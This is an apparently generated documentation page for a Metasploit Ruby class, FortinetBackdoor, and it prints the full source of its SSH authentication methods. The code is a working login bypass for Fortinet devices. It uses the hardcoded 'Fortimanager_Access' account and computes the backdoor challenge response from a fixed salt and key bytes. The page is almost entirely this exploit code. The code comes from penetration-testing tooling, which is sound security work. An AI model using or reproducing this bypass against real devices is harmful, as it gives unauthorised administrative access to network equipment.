Class: Net::SSH::Authentication::Methods::FortinetBackdoor

Inherits:
Abstract
  • Object
show all
Defined in:
lib/msf/core/exploit/ssh/auth_methods.rb

Overview

Constant Summary collapse

USERAUTH_INFO_REQUEST =
60
USERAUTH_INFO_RESPONSE =
61

Instance Method Summary collapse

Instance Method Details

#authenticate(service_name, username = 'Fortimanager_Access', password = nil) ⇒ Object


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# File 'lib/msf/core/exploit/ssh/auth_methods.rb', line 55

def authenticate(service_name, username = 'Fortimanager_Access', password = nil)
  debug { 'Sending SSH_MSG_USERAUTH_REQUEST (password)' }

  send_message(userauth_request(
=begin
    string    user name
    string    service name
    string    "password"
    boolean   FALSE
    string    plaintext password in ISO-10646 UTF-8 encoding [RFC3629]
=end
    username,
    service_name,
    'password',
    false,
    password || ''
  ))

  tried = false

  loop do
    message = session.next_message

    return false unless message

    case message.type
    when USERAUTH_SUCCESS
      debug { 'Received SSH_MSG_USERAUTH_SUCCESS' }
      return true
    when USERAUTH_FAILURE
      debug { 'Received SSH_MSG_USERAUTH_FAILURE' }

      break if tried

      debug { 'Sending SSH_MSG_USERAUTH_REQUEST (keyboard-interactive)' }

      send_message(userauth_request(
=begin
        string    user name (ISO-10646 UTF-8, as defined in [RFC-3629])
        string    service name (US-ASCII)
        string    "keyboard-interactive" (US-ASCII)
        string    language tag (as defined in [RFC-3066])
        string    submethods (ISO-10646 UTF-8)
=end
        username,
        service_name,
        'keyboard-interactive',
        '',
        ''
      ))

      tried = true
    when USERAUTH_INFO_REQUEST
      debug { 'Received SSH_MSG_USERAUTH_INFO_REQUEST' }

=begin
      string    name (ISO-10646 UTF-8)
      string    instruction (ISO-10646 UTF-8)
      string    language tag (as defined in [RFC-3066])
      int       num-prompts
      string    prompt[1] (ISO-10646 UTF-8)
      boolean   echo[1]
      ...
      string    prompt[num-prompts] (ISO-10646 UTF-8)
      boolean   echo[num-prompts]
=end
      name        = message.read_string
      instruction = message.read_string
      _           = message.read_string

      prompts = []

      message.read_long.times do
        prompt   = message.read_string
        echo     = message.read_bool
        prompts << [prompt, echo]
      end

      debug { 'Sending SSH_MSG_USERAUTH_INFO_RESPONSE' }

      send_message(Net::SSH::Buffer.from(
=begin
        byte      SSH_MSG_USERAUTH_INFO_RESPONSE
        int       num-responses
        string    response[1] (ISO-10646 UTF-8)
        ...
        string    response[num-responses] (ISO-10646 UTF-8)
=end
        :byte,   USERAUTH_INFO_RESPONSE,
        :long,   1,
        :string, custom_handler(name, instruction, prompts)
      ))
    else
      raise Net::SSH::Exception, "Received unexpected message: #{message.inspect}"
    end
  end
end

#custom_handler(title, instructions, prompt_list) ⇒ Object


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# File 'lib/msf/core/exploit/ssh/auth_methods.rb', line 154

def custom_handler(title, instructions, prompt_list)
  n = prompt_list[0][0]
  m = Digest::SHA1.new
  m.update("\x00" * 12)
  m.update(n + 'FGTAbc11*xy+Qqz27')
  m.update("\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70")
  h = 'AK1' + Base64.encode64("\x00" * 12 + m.digest)
  [h]
end